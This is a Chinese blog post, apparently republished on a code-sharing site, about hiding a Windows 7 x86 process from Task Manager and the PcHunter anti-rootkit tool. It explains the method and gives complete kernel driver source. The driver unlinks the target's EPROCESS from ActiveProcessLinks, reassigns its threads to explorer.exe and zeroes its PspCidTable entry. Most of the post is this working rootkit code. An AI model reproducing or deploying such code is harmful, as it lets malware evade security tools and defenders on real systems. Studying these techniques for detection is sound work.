概述
说来惭愧,360一面的时候,面试官问我如何去隐藏一个进程,我说很简单那,从EProcess的ActiveProcessLinks的双向列表中断开就完事了啊,面试官当时也没有提醒我,直到面试完,我自己研究了一下从双向列表中断开,但是发现只能躲过任务管理器的眼睛,但是用PcHunter 还是可以枚举出来的,我自己又试了一下从暴力方式去枚举进程,发现也是枚举出来,这时候我才想到,双向列表的断开,其本质上并没有实现隐藏的隐藏。所以,才有了今天这篇文章。
隐藏
隐藏,顾名思义就是藏起来,不被别人发现。进程隐藏本质意义上就是把Windows所有相关进程的数据结构中,将目标进程的信息抹去,但进程仍然驻留在内存中,在后台默默运行。
进程隐藏---0x00
这是最初的版本,我只从双向列表中断开了目标进程的节点,只能绕过任务管理器的研究,无法绕过PcHunter 和暴力枚举的方法。
EProcess 和Ethread 中有很多列表,理解LIST_ENTRY可以试着看一下这幅图
结果演示:
任务管理器中已经没有了相关进程的信息。
但是我暴力枚举还是可以找出clac进程的。
从PcHunter中可以看到隐藏进程
所以这种方法我们只能简单的欺骗一下自己,而不能去欺骗杀软。
//System ListEntry->Blink 是空节点
//Offset EProcess是到ActiveProcessLinks的偏移
ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
while (v1 != EProcess)
{
//v1 0x87e95d40 struct _KPROCESS *
//ImageFileName 0x87e95eac "calc.exe"
ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
if (strcmp(ImageFileName,"System")==0)
{
__HeadEntry = (ULONG_PTR)v1+ x86_EPROCESS_OFFSET;
}
ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
if (strcmp(ImageFileName, ProcessName) == 0)
{
if (ListEntry != NULL)
{
__ListEntry = ListEntry;
RemoveEntryList(ListEntry);
Status = STATUS_SUCCESS;
break;
}
}
v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
进程隐藏---0x01
经过一些列的思考和学习,发现了可以绕过PC Hunter 的办法,直接上结果。
隐藏之前:
隐藏之后:
其实绕过PcHunter实现隐藏进程也很简单,就是比之前的方法多了几个步骤而已。
- 从EProcess中的ActiveProcessLinks中断开clac.exe进程信息结点
- 抹除clac.exe进程的所有线程(直接杀死线程,进程也就不存在了,所有这里是改变线程的父进程信息,以欺骗为目的)
- 从PspCidTable中抹去保存clac.exe 进程的EProcess的信息
ActiveProcessLinks中断开clac.exe进程信息结点
/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/
//System ListEntry->Blink 是空节点
ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
while (v1 != EProcess)
{
//v1 0x87e95d40 struct _KPROCESS *
//ImageFileName 0x87e95eac "calc.exe"
ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
if (strcmp(ImageFileName, ProcessName) == 0)
{
if (ListEntry != NULL)
{
__ListEntry = ListEntry;
RemoveEntryList(ListEntry);
__Target_EProcess = v1;
DbgPrint("断开ActiveProcessLinks节点 Success");
break;
}
}
v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
}
抹除clac.exe进程的所有线程
/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/
/*
+0x16c ImageFileName : [15] "calc.exe"
+0x188 ThreadListHead : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]
3: kd> dt _ETHREAD
+0x000 Tcb : _KTHREAD
+0x200 CreateTime : _LARGE_INTEGER
+0x268 ThreadListEntry : _LIST_ENTRY
*/
v1 = NULL;
ListEntry = NULL;
v1 = __Target_EProcess;
PLIST_ENTRY v2 = NULL;
ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
v2 = ListEntry->Flink;
do
{
EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);
*(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;
v2 = v2->Flink;
DbgPrint("目标进程的线程的父进程信息已改掉 Success");
} while (v2 != ListEntry->Flink);
从PspCidTable中抹去保存clac.exe 进程的EProcess的信息
/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/
ULONG PspCidTableAddress = GetPspCidTableAddress();
if (PspCidTableAddress == 0)
{
return ;
}
ULONG HandleTable = *(PULONG)PspCidTableAddress;
ULONG TableCode = *(PULONG)HandleTable;
ULONG Flag = TableCode & 3; //获取TableCode的最后两位 来确定层数
TableCode &= 0xFFFFFFFC; //如果系统采用了两层或者三层的时候,
//TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
//则是一个指向多层表的指针。
// TableCode 0x95d2a000
switch (Flag)
{
case 0: //1层结构
Operation1(TableCode);
break;
case 1: //2层结构
Operation2(TableCode);
break;
case 2: //3层结构
Operation3(TableCode);
break;
default:
break;
}
return;
在当你隐藏进程工作完成之后,当进程关闭的时候,你必须要将你修改过的所有信息恢复之后,才能退出进程。否则会发现蓝屏,因当你关闭进程的时候,系统会从PspCidTable中去寻找你关闭进程的EProcess,和所有线程的EThread,隐藏中你抹去了进程的EProcess,所有如果系统没有从PspCidTable中找到,那么系统会蓝屏。
下面附上完整代码:
ProcessHide-Pass-PcHunter.h
#pragma once
#include<fltKernel.h>
void DriverUnload(PDRIVER_OBJECT DriverObject);
void ProcessHide();
BOOLEAN GetEProcessInfo();
ULONG GetPspCidTableAddress();
ULONG Operation1(ULONG Address);
ULONG Operation2(ULONG Address);
ULONG Operation3(ULONG Address);
typedef ULONG_PTR(*LPFN_OBGETOBJECTTYPE)(PVOID Object);
ULONG_PTR MaGetObjectType(PVOID ObjectBody);
#include"ProcessHide-Pass-PcHunter.h"
#define x86_EPROCESS_OFFSET 0x0b8;
#define x86_IMAGEFILENAME_OFFSET 0x16c;
PLIST_ENTRY __ListEntry = NULL;
PLIST_ENTRY __HeadEntry = NULL;
PEPROCESS __Target_EProcess = NULL;
PEPROCESS __Explorer_EProcess = NULL;
ULONG __AddressOfPspCidTale = 0;
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
UNREFERENCED_PARAMETER(RegisterPath);
NTSTATUS Status = STATUS_SUCCESS;
//设置驱动卸载历程
DriverObject->DriverUnload = DriverUnload;
ProcessHide();
return Status;
}
void DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
UNICODE_STRING DeviceLinkName; //符号链接名
PDEVICE_OBJECT v1 = NULL;
PDEVICE_OBJECT DeleteDeviceObject = NULL;
//通过驱动对象获得设备对象
DeleteDeviceObject = DriverObject->DeviceObject;
while (DeleteDeviceObject != NULL)
{
v1 = DeleteDeviceObject->NextDevice;
//删除设备
IoDeleteDevice(DeleteDeviceObject);
DeleteDeviceObject = v1;
}
//恢复进程
if (__HeadEntry && __ListEntry)
{
InsertHeadList(__HeadEntry, __ListEntry);
}
if (__AddressOfPspCidTale)
{
if (*((PULONG)__AddressOfPspCidTale) == 0)
{
memcpy(__AddressOfPspCidTale, __Target_EProcess, sizeof(PULONG));
}
}
DbgPrint("DriverUnload()rn");
}
void ProcessHide()
{
/***************************
* 1.先从ActiveProcessLinks中断开节点
* 2.将目标进程的所有线程的父进程信息改掉
* 3.从PspCidTable中抹去进程信息
*
* 目标进程: clac.exe
****************************/
char *ProcessName = "calc.exe";
PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
PEPROCESS v1 = NULL;
PETHREAD EThread = NULL;
char* ImageFileName = NULL;
//所有驱动都运行在System 进程下
EProcess = PsGetCurrentProcess();
if (EProcess == NULL)
{
return;
}
//System
__HeadEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
if (GetEProcessInfo() == FALSE)
{
return;
}
/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/
//System ListEntry->Blink 是空节点
ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
while (v1 != EProcess)
{
//v1 0x87e95d40 struct _KPROCESS *
//ImageFileName 0x87e95eac "calc.exe"
ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
if (strcmp(ImageFileName, ProcessName) == 0)
{
if (ListEntry != NULL)
{
__ListEntry = ListEntry;
RemoveEntryList(ListEntry);
__Target_EProcess = v1;
DbgPrint("断开ActiveProcessLinks节点 Success");
break;
}
}
v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
}
/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/
/*
+0x16c ImageFileName : [15] "calc.exe"
+0x188 ThreadListHead : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]
3: kd> dt _ETHREAD
+0x000 Tcb : _KTHREAD
+0x200 CreateTime : _LARGE_INTEGER
+0x268 ThreadListEntry : _LIST_ENTRY
*/
v1 = NULL;
ListEntry = NULL;
v1 = __Target_EProcess;
PLIST_ENTRY v2 = NULL;
ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
v2 = ListEntry->Flink;
do
{
EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);
*(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;
v2 = v2->Flink;
DbgPrint("目标进程的线程的父进程信息已改掉 Success");
} while (v2 != ListEntry->Flink);
/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/
ULONG PspCidTableAddress = GetPspCidTableAddress();
if (PspCidTableAddress == 0)
{
return ;
}
ULONG HandleTable = *(PULONG)PspCidTableAddress;
ULONG TableCode = *(PULONG)HandleTable;
ULONG Flag = TableCode & 3; //获取TableCode的最后两位 来确定层数
TableCode &= 0xFFFFFFFC; //如果系统采用了两层或者三层的时候,
//TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
//则是一个指向多层表的指针。
// TableCode 0x95d2a000
switch (Flag)
{
case 0: //1层结构
Operation1(TableCode);
break;
case 1: //2层结构
Operation2(TableCode);
break;
case 2: //3层结构
Operation3(TableCode);
break;
default:
break;
}
return;
}
BOOLEAN GetEProcessInfo()
{
PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
PEPROCESS v1 = NULL;
BOOLEAN IsOk = FALSE;
char* ImageFileName = NULL;
EProcess = PsGetCurrentProcess();
if (EProcess == NULL)
{
return FALSE;
}
ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
while (v1 != EProcess)
{
//v1 0x87e95d40 struct _KPROCESS *
//ImageFileName 0x87e95eac "calc.exe"
ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
if (strcmp(ImageFileName, "explorer.exe") == 0)
{
__Explorer_EProcess = v1;
IsOk = TRUE;
break;
}
v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
}
return IsOk;
}
ULONG Operation1(ULONG Address)
{
LONG Object = 0;
BOOLEAN IsOk = FALSE;
ULONG ItemCount = 511;
ULONG ObjectID = 0;
ULONG ObjectType = 0;
ULONG HandleTableAddress = Address + 8;
/*
HandleTableAddress 0x8e404000
3: kd> dd 0x8e404000
8e404000 00000000 fffffffe 878dd799 00000000
8e404010 878dd4c1 00000000 8793c431 00000000
8e404020 8793c921 00000000 87938d49 00000000
8e404030 87938931 00000000 8792cd49 00000000
8e404040 8792ca71 00000000 87928d49 00000000
8e404050 87928a71 00000000 87914d49 00000000
8e404060 87914a71 00000000 87904d49 00000000
8e404070 87904a71 00000000 878ecd49 00000000
至于0,句柄值为0×0000代表是NULL
刚好_HANDLE_TABLE_ENTRY的第0个表项为无效值
句柄值为0×0004有效
其实这个对象就是pid为4的system.exe进程。 EProcess 是 878dd798
记事本的PID为3708(十进制),应当位于第3708/4=927 个表项,
我们每一个1级索引表能容纳512个表项,毋庸置疑,
PID3708 应该在第2个二级索引指向的1级索引的第927-512=415=0x19F个表项(每个表项8Byte)
*/
do
{
Object = *(PULONG)HandleTableAddress;
Object = Object & 0xFFFFFFF8; //Object最后三位置0,Object即为EPROCESS的地址
if (Object)
{
ObjectType = MaGetObjectType(Object);
if (ObjectType == *PsProcessType)
{
if ((ULONG_PTR)Object == (ULONG_PTR)__Target_EProcess)
{
__AddressOfPspCidTale = HandleTableAddress;
memset(HandleTableAddress, 0, sizeof(HANDLE));
DbgPrint("PspCidTable中的EProcess已清零 Success");
IsOk = TRUE;
break;
}
}
}
HandleTableAddress += 8;
} while (--ItemCount > 0);
return IsOk;
}
ULONG Operation2(ULONG Address)
{
BOOLEAN IsOk = FALSE;
do {
IsOk = Operation1(*(PULONG)Address);
if (IsOk)
{
break;
}
Address += 4;
} while ((*(PULONG)Address) != 0);
return IsOk;
}
ULONG Operation3(ULONG Address)
{
BOOLEAN IsOk = FALSE;
do {
IsOk = Operation2(*(PULONG)Address );
if (IsOk)
{
break;
}
Address += 4;
} while ((*(PULONG)Address) != 0);
return IsOk;
}
ULONG GetPspCidTableAddress()
{
ULONG PspCidTableAddress = 0;
//搜索PsLookUpProcessByProcessId
UNICODE_STRING v1;
RtlInitUnicodeString(&v1, L"PsLookupProcessByProcessId");
PVOID lpPsLookupProcessByProcessId = MmGetSystemRoutineAddress(&v1);
if (lpPsLookupProcessByProcessId == NULL)
{
return PspCidTableAddress;
}
//Win7 x86的偏移位置
const ULONG PSPCIDTABLE_OFFSEET = 0x1E + 0x02;
PspCidTableAddress = *(ULONG*)((ULONG)lpPsLookupProcessByProcessId + PSPCIDTABLE_OFFSEET);
/*
2: kd> uf PsLookupProcessByProcessId
nt!PsLookupProcessByProcessId:
84a7a950 8bff mov edi,edi
.......
84a7a96e 8b3dc40b9684 mov edi,dword ptr [nt!PspCidTable (84960bc4)]
84a7a974 e83757feff call nt!ExMapHandleToPointer (84a600b0)
PspCidTableAddress = 0x84960bc4
*/
return PspCidTableAddress;
}
ULONG_PTR MaGetObjectType(PVOID ObjectBody)
{
ULONG_PTR ObjectType = NULL;
LPFN_OBGETOBJECTTYPE ObGetObjectType = NULL;
if (!MmIsAddressValid || !ObjectBody || !MmIsAddressValid(ObjectBody))
{
return NULL;
}
UNICODE_STRING v1;
RtlInitUnicodeString(&v1, L"ObGetObjectType");
//MmGetSystemRoutineAddress 通过系统的第一模块中的导出表搜索得到
ObGetObjectType = (LPFN_OBGETOBJECTTYPE)MmGetSystemRoutineAddress(&v1);
if (ObGetObjectType)
{
ObjectType = ObGetObjectType(ObjectBody);
}
return ObjectType;
}
最后
以上就是如意星星为你收集整理的进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)的全部内容,希望文章能够帮你解决进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复